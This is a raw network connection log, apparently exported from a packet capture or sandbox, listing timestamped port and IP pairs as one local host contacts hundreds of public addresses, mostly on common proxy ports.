Feb 23, 2024 09:45:16.461185932 CET	12129	49801	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:16.463305950 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:16.464205027 CET	6438	50401	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:16.465248108 CET	50526	37901	192.168.2.4	5.161.98.204
Feb 23, 2024 09:45:16.466536999 CET	50527	80	192.168.2.4	113.252.40.144
Feb 23, 2024 09:45:16.469049931 CET	57520	49958	41.242.90.3	192.168.2.4
Feb 23, 2024 09:45:16.469289064 CET	50528	80	192.168.2.4	13.81.217.201
Feb 23, 2024 09:45:16.470041037 CET	5678	49844	89.161.90.203	192.168.2.4
Feb 23, 2024 09:45:16.470101118 CET	49844	5678	192.168.2.4	89.161.90.203
Feb 23, 2024 09:45:16.470397949 CET	49844	5678	192.168.2.4	89.161.90.203
Feb 23, 2024 09:45:16.472280025 CET	50529	999	192.168.2.4	201.71.3.42
Feb 23, 2024 09:45:16.473145962 CET	8989	50211	47.56.110.204	192.168.2.4
Feb 23, 2024 09:45:16.473196030 CET	8989	50211	47.56.110.204	192.168.2.4
Feb 23, 2024 09:45:16.473212004 CET	8989	50211	47.56.110.204	192.168.2.4
Feb 23, 2024 09:45:16.473270893 CET	50211	8989	192.168.2.4	47.56.110.204
Feb 23, 2024 09:45:16.473524094 CET	50211	8989	192.168.2.4	47.56.110.204
Feb 23, 2024 09:45:16.474875927 CET	50190	3128	192.168.2.4	178.236.246.53
Feb 23, 2024 09:45:16.474884033 CET	50225	6227	192.168.2.4	72.10.160.171
Feb 23, 2024 09:45:16.474890947 CET	50124	9229	192.168.2.4	201.238.248.139
Feb 23, 2024 09:45:16.474890947 CET	49960	56238	192.168.2.4	51.210.4.123
Feb 23, 2024 09:45:16.474890947 CET	49962	4153	192.168.2.4	178.252.197.64
Feb 23, 2024 09:45:16.474894047 CET	49933	51778	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:16.474894047 CET	49956	4145	192.168.2.4	118.67.216.94
Feb 23, 2024 09:45:16.475786924 CET	49961	4153	192.168.2.4	183.89.176.18
Feb 23, 2024 09:45:16.475975990 CET	12707	50161	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.476788044 CET	4145	49851	24.249.199.4	192.168.2.4
Feb 23, 2024 09:45:16.477215052 CET	8081	50471	185.49.31.207	192.168.2.4
Feb 23, 2024 09:45:16.477282047 CET	49851	4145	192.168.2.4	24.249.199.4
Feb 23, 2024 09:45:16.477515936 CET	50471	8081	192.168.2.4	185.49.31.207
Feb 23, 2024 09:45:16.477750063 CET	49851	4145	192.168.2.4	24.249.199.4
Feb 23, 2024 09:45:16.477813959 CET	50471	8081	192.168.2.4	185.49.31.207
Feb 23, 2024 09:45:16.477828026 CET	4145	50057	107.181.168.145	192.168.2.4
Feb 23, 2024 09:45:16.478269100 CET	80	50442	103.75.117.79	192.168.2.4
Feb 23, 2024 09:45:16.478497028 CET	50530	999	192.168.2.4	154.212.7.250
Feb 23, 2024 09:45:16.479528904 CET	1981	50483	144.91.89.245	192.168.2.4
Feb 23, 2024 09:45:16.480004072 CET	8080	50349	91.202.230.219	192.168.2.4
Feb 23, 2024 09:45:16.480068922 CET	8080	50349	91.202.230.219	192.168.2.4
Feb 23, 2024 09:45:16.480084896 CET	8080	50349	91.202.230.219	192.168.2.4
Feb 23, 2024 09:45:16.480182886 CET	50349	8080	192.168.2.4	91.202.230.219
Feb 23, 2024 09:45:16.480318069 CET	50349	8080	192.168.2.4	91.202.230.219
Feb 23, 2024 09:45:16.487555027 CET	50531	3600	192.168.2.4	170.82.13.121
Feb 23, 2024 09:45:16.489155054 CET	8000	49778	137.184.15.145	192.168.2.4
Feb 23, 2024 09:45:16.489512920 CET	50532	37683	192.168.2.4	209.216.90.208
Feb 23, 2024 09:45:16.490539074 CET	50039	8080	192.168.2.4	195.206.39.222
Feb 23, 2024 09:45:16.490540981 CET	49834	10011	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:16.490540981 CET	50533	80	192.168.2.4	50.170.90.27
Feb 23, 2024 09:45:16.490597010 CET	50237	25085	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.492084980 CET	50534	80	192.168.2.4	62.99.138.162
Feb 23, 2024 09:45:16.493838072 CET	80	50386	81.169.187.194	192.168.2.4
Feb 23, 2024 09:45:16.493988037 CET	80	50386	81.169.187.194	192.168.2.4
Feb 23, 2024 09:45:16.494102955 CET	80	50061	50.172.75.120	192.168.2.4
Feb 23, 2024 09:45:16.497440100 CET	14745	50167	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.497946024 CET	65201	50214	149.28.141.180	192.168.2.4
Feb 23, 2024 09:45:16.497975111 CET	37379	49862	167.86.102.169	192.168.2.4
Feb 23, 2024 09:45:16.498102903 CET	49862	37379	192.168.2.4	167.86.102.169
Feb 23, 2024 09:45:16.498887062 CET	49862	37379	192.168.2.4	167.86.102.169
Feb 23, 2024 09:45:16.498914957 CET	26589	50440	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:16.499002934 CET	26589	50440	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:16.500965118 CET	50535	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:16.502165079 CET	9002	49929	120.197.40.219	192.168.2.4
Feb 23, 2024 09:45:16.502190113 CET	9002	49929	120.197.40.219	192.168.2.4
Feb 23, 2024 09:45:16.502209902 CET	9002	49929	120.197.40.219	192.168.2.4
Feb 23, 2024 09:45:16.502298117 CET	49929	9002	192.168.2.4	120.197.40.219
Feb 23, 2024 09:45:16.502619028 CET	49929	9002	192.168.2.4	120.197.40.219
Feb 23, 2024 09:45:16.503218889 CET	8123	50430	20.111.54.16	192.168.2.4
Feb 23, 2024 09:45:16.503427982 CET	8123	50430	20.111.54.16	192.168.2.4
Feb 23, 2024 09:45:16.503546953 CET	83	49802	103.155.54.38	192.168.2.4
Feb 23, 2024 09:45:16.506584883 CET	9000	50040	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:16.507483959 CET	8080	50056	5.78.89.192	192.168.2.4
Feb 23, 2024 09:45:16.510092020 CET	48024	50020	181.113.34.86	192.168.2.4
Feb 23, 2024 09:45:16.511991024 CET	80	50137	50.168.163.178	192.168.2.4
Feb 23, 2024 09:45:16.512593031 CET	15673	50512	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:16.512784958 CET	50512	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:16.512864113 CET	4145	50517	24.249.199.12	192.168.2.4
Feb 23, 2024 09:45:16.512917042 CET	50517	4145	192.168.2.4	24.249.199.12
Feb 23, 2024 09:45:16.513559103 CET	1080	49875	94.131.107.45	192.168.2.4
Feb 23, 2024 09:45:16.513616085 CET	49875	1080	192.168.2.4	94.131.107.45
Feb 23, 2024 09:45:16.513739109 CET	31147	50491	209.121.164.50	192.168.2.4
Feb 23, 2024 09:45:16.514520884 CET	80	50497	64.227.106.157	192.168.2.4
Feb 23, 2024 09:45:16.514569044 CET	50497	80	192.168.2.4	64.227.106.157
Feb 23, 2024 09:45:16.514652967 CET	50497	80	192.168.2.4	64.227.106.157
Feb 23, 2024 09:45:16.516777992 CET	50512	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:16.516815901 CET	49875	1080	192.168.2.4	94.131.107.45
Feb 23, 2024 09:45:16.517731905 CET	80	50449	104.19.85.214	192.168.2.4
Feb 23, 2024 09:45:16.517950058 CET	4145	50424	61.7.183.152	192.168.2.4
Feb 23, 2024 09:45:16.518001080 CET	50424	4145	192.168.2.4	61.7.183.152
Feb 23, 2024 09:45:16.518071890 CET	50424	4145	192.168.2.4	61.7.183.152
Feb 23, 2024 09:45:16.521188021 CET	10739	50198	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.521323919 CET	3128	50134	3.122.84.99	192.168.2.4
Feb 23, 2024 09:45:16.521512985 CET	29430	50068	162.214.102.121	192.168.2.4
Feb 23, 2024 09:45:16.521725893 CET	50256	80	192.168.2.4	50.174.145.13
Feb 23, 2024 09:45:16.521734953 CET	49739	58394	192.168.2.4	107.148.99.107
Feb 23, 2024 09:45:16.521790981 CET	49814	80	192.168.2.4	50.172.23.10
Feb 23, 2024 09:45:16.522540092 CET	19050	49860	51.83.190.248	192.168.2.4
Feb 23, 2024 09:45:16.522612095 CET	49860	19050	192.168.2.4	51.83.190.248
Feb 23, 2024 09:45:16.522881031 CET	49860	19050	192.168.2.4	51.83.190.248
Feb 23, 2024 09:45:16.525279999 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.528850079 CET	9000	50446	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:16.528902054 CET	50446	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:16.529165983 CET	50446	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:16.530078888 CET	14917	50518	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.530286074 CET	9002	50077	120.234.203.171	192.168.2.4
Feb 23, 2024 09:45:16.530344009 CET	50077	9002	192.168.2.4	120.234.203.171
Feb 23, 2024 09:45:16.530694008 CET	50077	9002	192.168.2.4	120.234.203.171
Feb 23, 2024 09:45:16.531359911 CET	9000	50040	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:16.531997919 CET	4145	50515	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:16.532373905 CET	50536	83	192.168.2.4	45.249.78.25
Feb 23, 2024 09:45:16.532860994 CET	49856	80	192.168.2.4	50.174.145.10
Feb 23, 2024 09:45:16.532867908 CET	50182	3128	192.168.2.4	94.142.142.140
Feb 23, 2024 09:45:16.532892942 CET	50276	10801	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.532952070 CET	50090	8089	192.168.2.4	125.87.89.228
Feb 23, 2024 09:45:16.534826994 CET	80	50464	172.67.200.220	192.168.2.4
Feb 23, 2024 09:45:16.536056995 CET	80	50465	185.162.229.70	192.168.2.4
Feb 23, 2024 09:45:16.536783934 CET	5784	49892	160.153.245.187	192.168.2.4
Feb 23, 2024 09:45:16.536859989 CET	49892	5784	192.168.2.4	160.153.245.187
Feb 23, 2024 09:45:16.537065983 CET	49892	5784	192.168.2.4	160.153.245.187
Feb 23, 2024 09:45:16.537374020 CET	50386	80	192.168.2.4	81.169.187.194
Feb 23, 2024 09:45:16.537378073 CET	50141	8080	192.168.2.4	190.19.114.104
Feb 23, 2024 09:45:16.537379026 CET	50279	16489	192.168.2.4	162.210.192.135
Feb 23, 2024 09:45:16.537379026 CET	49821	8587	192.168.2.4	178.62.103.49
Feb 23, 2024 09:45:16.537380934 CET	50153	8080	192.168.2.4	190.57.245.250
Feb 23, 2024 09:45:16.538094044 CET	52246	50022	45.7.177.85	192.168.2.4
Feb 23, 2024 09:45:16.538551092 CET	6533	50208	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:16.538645029 CET	23475	50215	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:16.542134047 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.551328897 CET	8080	49895	171.97.12.175	192.168.2.4
Feb 23, 2024 09:45:16.551369905 CET	5678	50492	212.89.173.101	192.168.2.4
Feb 23, 2024 09:45:16.551384926 CET	80	50524	104.18.136.28	192.168.2.4
Feb 23, 2024 09:45:16.551414013 CET	8123	50236	20.205.61.143	192.168.2.4
Feb 23, 2024 09:45:16.551429033 CET	8123	50236	20.205.61.143	192.168.2.4
Feb 23, 2024 09:45:16.551569939 CET	50524	80	192.168.2.4	104.18.136.28
Feb 23, 2024 09:45:16.553018093 CET	49974	8100	192.168.2.4	152.67.10.190
Feb 23, 2024 09:45:16.553020954 CET	49967	5678	192.168.2.4	146.120.160.148
Feb 23, 2024 09:45:16.553020954 CET	49971	8080	192.168.2.4	31.47.37.114
Feb 23, 2024 09:45:16.553030968 CET	49975	4145	192.168.2.4	103.86.1.34
Feb 23, 2024 09:45:16.553057909 CET	49976	8080	192.168.2.4	201.229.250.21
Feb 23, 2024 09:45:16.553057909 CET	49977	3128	192.168.2.4	154.202.110.117
Feb 23, 2024 09:45:16.553057909 CET	49878	6331	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.553057909 CET	49877	2929	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.553057909 CET	49972	46035	192.168.2.4	138.68.24.185
Feb 23, 2024 09:45:16.553081036 CET	50289	36546	192.168.2.4	70.32.26.23
Feb 23, 2024 09:45:16.553087950 CET	49968	8080	192.168.2.4	185.208.102.62
Feb 23, 2024 09:45:16.553087950 CET	49973	80	192.168.2.4	159.65.184.81
Feb 23, 2024 09:45:16.553087950 CET	49978	10820	192.168.2.4	188.132.222.168
Feb 23, 2024 09:45:16.553129911 CET	50251	80	192.168.2.4	50.168.163.179
Feb 23, 2024 09:45:16.553129911 CET	49969	8080	192.168.2.4	103.126.173.163
Feb 23, 2024 09:45:16.553154945 CET	50116	8080	192.168.2.4	112.205.92.14
Feb 23, 2024 09:45:16.553155899 CET	50430	8123	192.168.2.4	20.111.54.16
Feb 23, 2024 09:45:16.553155899 CET	50250	999	192.168.2.4	190.61.48.24
Feb 23, 2024 09:45:16.553165913 CET	49970	8089	192.168.2.4	114.106.146.149
Feb 23, 2024 09:45:16.553616047 CET	3128	50500	65.21.255.197	192.168.2.4
Feb 23, 2024 09:45:16.553915977 CET	50500	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:16.555444956 CET	2941	49952	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.555463076 CET	22035	49953	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:16.556196928 CET	80	50522	50.218.57.74	192.168.2.4
Feb 23, 2024 09:45:16.557297945 CET	999	50121	45.229.34.174	192.168.2.4
Feb 23, 2024 09:45:16.562454939 CET	20481	50513	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.563602924 CET	50513	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:16.565850973 CET	20481	50333	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.565865993 CET	20481	50333	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.566636086 CET	10471	50266	167.172.86.46	192.168.2.4
Feb 23, 2024 09:45:16.566905022 CET	10471	50266	167.172.86.46	192.168.2.4
Feb 23, 2024 09:45:16.567301035 CET	50513	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:16.567622900 CET	3129	50247	103.78.0.44	192.168.2.4
Feb 23, 2024 09:45:16.568145990 CET	50500	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:16.568635941 CET	50154	80	192.168.2.4	14.43.238.82
Feb 23, 2024 09:45:16.568635941 CET	49983	60186	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:16.568747997 CET	50134	3128	192.168.2.4	3.122.84.99
Feb 23, 2024 09:45:16.568747997 CET	49990	1080	192.168.2.4	47.251.34.170
Feb 23, 2024 09:45:16.568788052 CET	49987	8080	192.168.2.4	103.46.8.15
Feb 23, 2024 09:45:16.569782019 CET	6227	50225	72.10.160.171	192.168.2.4
Feb 23, 2024 09:45:16.570209026 CET	3128	50325	167.71.5.83	192.168.2.4
Feb 23, 2024 09:45:16.570548058 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.572875023 CET	32284	50510	185.129.250.183	192.168.2.4
Feb 23, 2024 09:45:16.572947025 CET	50510	32284	192.168.2.4	185.129.250.183
Feb 23, 2024 09:45:16.573143959 CET	50510	32284	192.168.2.4	185.129.250.183
Feb 23, 2024 09:45:16.574357986 CET	26939	50436	208.87.131.151	192.168.2.4
Feb 23, 2024 09:45:16.575825930 CET	42325	49919	139.99.9.218	192.168.2.4
Feb 23, 2024 09:45:16.583003998 CET	4145	50455	184.181.217.201	192.168.2.4
Feb 23, 2024 09:45:16.583051920 CET	4145	50455	184.181.217.201	192.168.2.4
Feb 23, 2024 09:45:16.583647966 CET	6745	50286	45.43.71.147	192.168.2.4
Feb 23, 2024 09:45:16.583878994 CET	50537	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:16.584229946 CET	49817	8899	192.168.2.4	117.160.250.134
Feb 23, 2024 09:45:16.584239006 CET	49988	1976	192.168.2.4	41.65.236.37
Feb 23, 2024 09:45:16.584242105 CET	50210	80	192.168.2.4	50.231.104.58
Feb 23, 2024 09:45:16.584252119 CET	49896	2589	192.168.2.4	72.10.160.90
Feb 23, 2024 09:45:16.584252119 CET	49991	8080	192.168.2.4	45.11.96.41
Feb 23, 2024 09:45:16.584252119 CET	49998	8080	192.168.2.4	83.126.54.155
Feb 23, 2024 09:45:16.584258080 CET	49992	46770	192.168.2.4	65.49.82.7
Feb 23, 2024 09:45:16.584268093 CET	49984	1080	192.168.2.4	107.182.142.17
Feb 23, 2024 09:45:16.584285975 CET	50003	80	192.168.2.4	68.178.161.107
Feb 23, 2024 09:45:16.584285975 CET	49997	53177	192.168.2.4	104.248.151.220
Feb 23, 2024 09:45:16.584290028 CET	50001	31289	192.168.2.4	129.146.45.163
Feb 23, 2024 09:45:16.584290028 CET	50002	80	192.168.2.4	139.5.64.108
Feb 23, 2024 09:45:16.584290028 CET	50006	5678	192.168.2.4	130.193.123.34
Feb 23, 2024 09:45:16.584297895 CET	50004	3128	192.168.2.4	154.202.108.37
Feb 23, 2024 09:45:16.585441113 CET	25085	50237	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.586489916 CET	10011	49834	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:16.587373018 CET	6005	50364	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:16.587946892 CET	6005	50514	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:16.592524052 CET	3128	49986	78.38.93.22	192.168.2.4
Feb 23, 2024 09:45:16.592694998 CET	50514	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:16.599873066 CET	49907	6095	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.599901915 CET	50315	44712	192.168.2.4	92.204.135.4
Feb 23, 2024 09:45:16.599901915 CET	49781	80	192.168.2.4	80.228.235.6
Feb 23, 2024 09:45:16.599935055 CET	50013	4145	192.168.2.4	168.205.217.171
Feb 23, 2024 09:45:16.599945068 CET	50246	5678	192.168.2.4	109.205.243.10
Feb 23, 2024 09:45:16.599957943 CET	50011	999	192.168.2.4	190.109.178.44
Feb 23, 2024 09:45:16.599987984 CET	50236	8123	192.168.2.4	20.205.61.143
Feb 23, 2024 09:45:16.599987984 CET	50010	8080	192.168.2.4	212.174.79.165
Feb 23, 2024 09:45:16.599987984 CET	50012	65100	192.168.2.4	125.229.149.168
Feb 23, 2024 09:45:16.599992037 CET	50255	52420	192.168.2.4	162.214.102.121
Feb 23, 2024 09:45:16.599992990 CET	50005	5678	192.168.2.4	85.89.184.87
Feb 23, 2024 09:45:16.599992990 CET	50015	8080	192.168.2.4	103.148.201.67
Feb 23, 2024 09:45:16.600920916 CET	80	50533	50.170.90.27	192.168.2.4
Feb 23, 2024 09:45:16.600959063 CET	50016	999	192.168.2.4	201.71.2.115
Feb 23, 2024 09:45:16.603308916 CET	80	50331	211.222.252.187	192.168.2.4
Feb 23, 2024 09:45:16.603323936 CET	80	50331	211.222.252.187	192.168.2.4
Feb 23, 2024 09:45:16.603598118 CET	50331	80	192.168.2.4	211.222.252.187
Feb 23, 2024 09:45:16.604630947 CET	4145	50520	199.102.107.145	192.168.2.4
Feb 23, 2024 09:45:16.610209942 CET	26589	50440	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:16.610380888 CET	1080	50469	27.65.116.243	192.168.2.4
Feb 23, 2024 09:45:16.615506887 CET	50018	9090	192.168.2.4	209.250.230.101
Feb 23, 2024 09:45:16.615506887 CET	50284	4145	192.168.2.4	142.54.236.97
Feb 23, 2024 09:45:16.615515947 CET	49891	45365	192.168.2.4	142.93.151.99
Feb 23, 2024 09:45:16.615524054 CET	50021	8789	192.168.2.4	103.84.235.162
Feb 23, 2024 09:45:16.615547895 CET	49918	26077	192.168.2.4	72.10.160.92
Feb 23, 2024 09:45:16.615547895 CET	50028	34471	192.168.2.4	194.233.78.142
Feb 23, 2024 09:45:16.615547895 CET	50014	1080	192.168.2.4	180.210.222.153
Feb 23, 2024 09:45:16.615549088 CET	50031	50733	192.168.2.4	186.249.240.146
Feb 23, 2024 09:45:16.615549088 CET	50029	8000	192.168.2.4	221.151.181.101
Feb 23, 2024 09:45:16.615551949 CET	50027	8089	192.168.2.4	200.63.107.118
Feb 23, 2024 09:45:16.615607023 CET	50019	59329	192.168.2.4	187.188.169.169
Feb 23, 2024 09:45:16.615607023 CET	50017	3128	192.168.2.4	34.145.53.40
Feb 23, 2024 09:45:16.618205070 CET	1080	50274	202.162.219.12	192.168.2.4
Feb 23, 2024 09:45:16.618491888 CET	1080	50274	202.162.219.12	192.168.2.4
Feb 23, 2024 09:45:16.618561029 CET	50274	1080	192.168.2.4	202.162.219.12
Feb 23, 2024 09:45:16.619050980 CET	80	49845	103.152.116.82	192.168.2.4
Feb 23, 2024 09:45:16.619098902 CET	49845	80	192.168.2.4	103.152.116.82
Feb 23, 2024 09:45:16.619596004 CET	4145	50165	68.71.247.130	192.168.2.4
Feb 23, 2024 09:45:16.619697094 CET	80	50113	50.204.219.224	192.168.2.4
Feb 23, 2024 09:45:16.620501995 CET	51778	49933	192.169.226.96	192.168.2.4
Feb 23, 2024 09:45:16.621376038 CET	54450	49911	171.226.88.162	192.168.2.4
Feb 23, 2024 09:45:16.623771906 CET	80	50375	117.160.250.134	192.168.2.4
Feb 23, 2024 09:45:16.624519110 CET	50375	80	192.168.2.4	117.160.250.134
Feb 23, 2024 09:45:16.624857903 CET	4145	50475	116.199.170.17	192.168.2.4
Feb 23, 2024 09:45:16.626315117 CET	15673	50512	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:16.626383066 CET	50475	4145	192.168.2.4	116.199.170.17
Feb 23, 2024 09:45:16.626410007 CET	80	50256	50.174.145.13	192.168.2.4
Feb 23, 2024 09:45:16.626595020 CET	8080	50112	186.192.195.211	192.168.2.4
Feb 23, 2024 09:45:16.627482891 CET	15673	50512	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:16.627759933 CET	10801	50276	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.631127119 CET	50025	10820	192.168.2.4	88.255.217.44
Feb 23, 2024 09:45:16.631146908 CET	49909	80	192.168.2.4	50.170.90.25
Feb 23, 2024 09:45:16.631155014 CET	50037	8080	192.168.2.4	96.80.235.1
Feb 23, 2024 09:45:16.631155014 CET	50023	8080	192.168.2.4	78.47.103.89
Feb 23, 2024 09:45:16.631155014 CET	50230	3128	192.168.2.4	186.156.161.235
Feb 23, 2024 09:45:16.631160021 CET	50041	48678	192.168.2.4	180.131.242.221
Feb 23, 2024 09:45:16.631166935 CET	50307	45314	192.168.2.4	104.238.100.115
Feb 23, 2024 09:45:16.631166935 CET	49751	4145	192.168.2.4	222.124.130.198
Feb 23, 2024 09:45:16.631181002 CET	50042	8080	192.168.2.4	139.5.73.71
Feb 23, 2024 09:45:16.631184101 CET	50033	53281	192.168.2.4	193.41.88.58
Feb 23, 2024 09:45:16.631191969 CET	50038	55443	192.168.2.4	77.233.5.68
Feb 23, 2024 09:45:16.631247997 CET	49786	80	192.168.2.4	154.113.121.60
Feb 23, 2024 09:45:16.631588936 CET	16489	50279	162.210.192.135	192.168.2.4
Feb 23, 2024 09:45:16.631619930 CET	50045	80	192.168.2.4	202.61.204.51
Feb 23, 2024 09:45:16.631637096 CET	50047	8088	192.168.2.4	47.243.177.210
Feb 23, 2024 09:45:16.632736921 CET	80	50528	13.81.217.201	192.168.2.4
Feb 23, 2024 09:45:16.634987116 CET	8080	50519	65.21.188.18	192.168.2.4
Feb 23, 2024 09:45:16.635085106 CET	50528	80	192.168.2.4	13.81.217.201
Feb 23, 2024 09:45:16.635754108 CET	50519	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:16.636260033 CET	4145	49851	24.249.199.4	192.168.2.4
Feb 23, 2024 09:45:16.636296988 CET	4145	49851	24.249.199.4	192.168.2.4
Feb 23, 2024 09:45:16.637453079 CET	80	49856	50.174.145.10	192.168.2.4
Feb 23, 2024 09:45:16.642402887 CET	9002	50336	39.165.0.137	192.168.2.4
Feb 23, 2024 09:45:16.644372940 CET	50336	9002	192.168.2.4	39.165.0.137
Feb 23, 2024 09:45:16.646749973 CET	50036	1975	192.168.2.4	41.33.203.233
Feb 23, 2024 09:45:16.646753073 CET	50035	1976	192.168.2.4	41.65.55.2
Feb 23, 2024 09:45:16.646754980 CET	50301	4145	192.168.2.4	104.200.135.46
Feb 23, 2024 09:45:16.646773100 CET	50034	80	192.168.2.4	211.128.96.206
Feb 23, 2024 09:45:16.646773100 CET	50288	3128	192.168.2.4	85.214.244.174
Feb 23, 2024 09:45:16.646773100 CET	50051	5678	192.168.2.4	41.70.12.54
Feb 23, 2024 09:45:16.646789074 CET	50305	4145	192.168.2.4	199.102.106.94
Feb 23, 2024 09:45:16.646789074 CET	50133	80	192.168.2.4	223.27.144.51
Feb 23, 2024 09:45:16.646836996 CET	50044	3128	192.168.2.4	39.109.113.97
Feb 23, 2024 09:45:16.647572041 CET	50060	64817	192.168.2.4	94.23.83.53
Feb 23, 2024 09:45:16.647572994 CET	50049	36273	192.168.2.4	171.244.140.160
Feb 23, 2024 09:45:16.647593975 CET	50053	61080	192.168.2.4	176.88.177.197
Feb 23, 2024 09:45:16.647694111 CET	50048	8080	192.168.2.4	77.235.19.2
Feb 23, 2024 09:45:16.648121119 CET	6331	49878	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.648159027 CET	2929	49877	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.649039030 CET	1080	50488	27.75.152.191	192.168.2.4
Feb 23, 2024 09:45:16.649164915 CET	50488	1080	192.168.2.4	27.75.152.191
Feb 23, 2024 09:45:16.650624037 CET	49314	49941	208.87.131.151	192.168.2.4
Feb 23, 2024 09:45:16.650810957 CET	49941	49314	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:16.652400970 CET	5678	49844	89.161.90.203	192.168.2.4
Feb 23, 2024 09:45:16.653198957 CET	5678	49844	89.161.90.203	192.168.2.4
Feb 23, 2024 09:45:16.654625893 CET	80	49771	117.160.250.132	192.168.2.4
Feb 23, 2024 09:45:16.655576944 CET	36546	50289	70.32.26.23	192.168.2.4
Feb 23, 2024 09:45:16.659547091 CET	26589	50535	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:16.660849094 CET	5678	50076	109.127.82.114	192.168.2.4
Feb 23, 2024 09:45:16.661005974 CET	50535	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:16.662349939 CET	50054	8080	192.168.2.4	196.219.202.74
Feb 23, 2024 09:45:16.662383080 CET	50065	80	192.168.2.4	146.59.14.159
Feb 23, 2024 09:45:16.662383080 CET	50183	8000	192.168.2.4	128.199.252.22
Feb 23, 2024 09:45:16.662395000 CET	50072	35010	192.168.2.4	185.215.160.118
Feb 23, 2024 09:45:16.662395000 CET	49944	5769	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:16.662395000 CET	49946	80	192.168.2.4	50.174.214.218
Feb 23, 2024 09:45:16.662395000 CET	49864	4145	192.168.2.4	72.37.216.68
Feb 23, 2024 09:45:16.662395000 CET	50345	2011	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:16.662410975 CET	50066	1234	192.168.2.4	93.230.164.47
Feb 23, 2024 09:45:16.662410975 CET	50073	8080	192.168.2.4	102.176.103.134
Feb 23, 2024 09:45:16.662419081 CET	50199	4153	192.168.2.4	103.117.109.9
Feb 23, 2024 09:45:16.662460089 CET	50070	28119	192.168.2.4	152.228.140.225
Feb 23, 2024 09:45:16.662461042 CET	50067	3128	192.168.2.4	154.202.96.103
Feb 23, 2024 09:45:16.662543058 CET	50062	50539	192.168.2.4	92.205.185.251
Feb 23, 2024 09:45:16.662826061 CET	49853	3128	192.168.2.4	46.101.102.134
Feb 23, 2024 09:45:16.666672945 CET	18072	49910	109.123.254.43	192.168.2.4
Feb 23, 2024 09:45:16.666774035 CET	49910	18072	192.168.2.4	109.123.254.43
Feb 23, 2024 09:45:16.668466091 CET	80	50497	64.227.106.157	192.168.2.4
Feb 23, 2024 09:45:16.668529987 CET	80	50497	64.227.106.157	192.168.2.4
Feb 23, 2024 09:45:16.668620110 CET	80	50497	64.227.106.157	192.168.2.4
Feb 23, 2024 09:45:16.672179937 CET	50497	80	192.168.2.4	64.227.106.157
Feb 23, 2024 09:45:16.673130989 CET	8081	50471	185.49.31.207	192.168.2.4
Feb 23, 2024 09:45:16.673481941 CET	8081	50471	185.49.31.207	192.168.2.4
Feb 23, 2024 09:45:16.673536062 CET	8081	50471	185.49.31.207	192.168.2.4
Feb 23, 2024 09:45:16.675506115 CET	50471	8081	192.168.2.4	185.49.31.207
Feb 23, 2024 09:45:16.676042080 CET	8082	49996	150.107.136.110	192.168.2.4
Feb 23, 2024 09:45:16.676476955 CET	80	49814	50.172.23.10	192.168.2.4
Feb 23, 2024 09:45:16.678020954 CET	50435	49397	192.168.2.4	172.93.111.87
Feb 23, 2024 09:45:16.678056955 CET	50296	10801	192.168.2.4	95.111.91.50
Feb 23, 2024 09:45:16.678060055 CET	50080	8080	192.168.2.4	200.108.197.2
Feb 23, 2024 09:45:16.678060055 CET	50078	5005	192.168.2.4	173.249.37.45
Feb 23, 2024 09:45:16.678091049 CET	50085	80	192.168.2.4	172.67.181.89
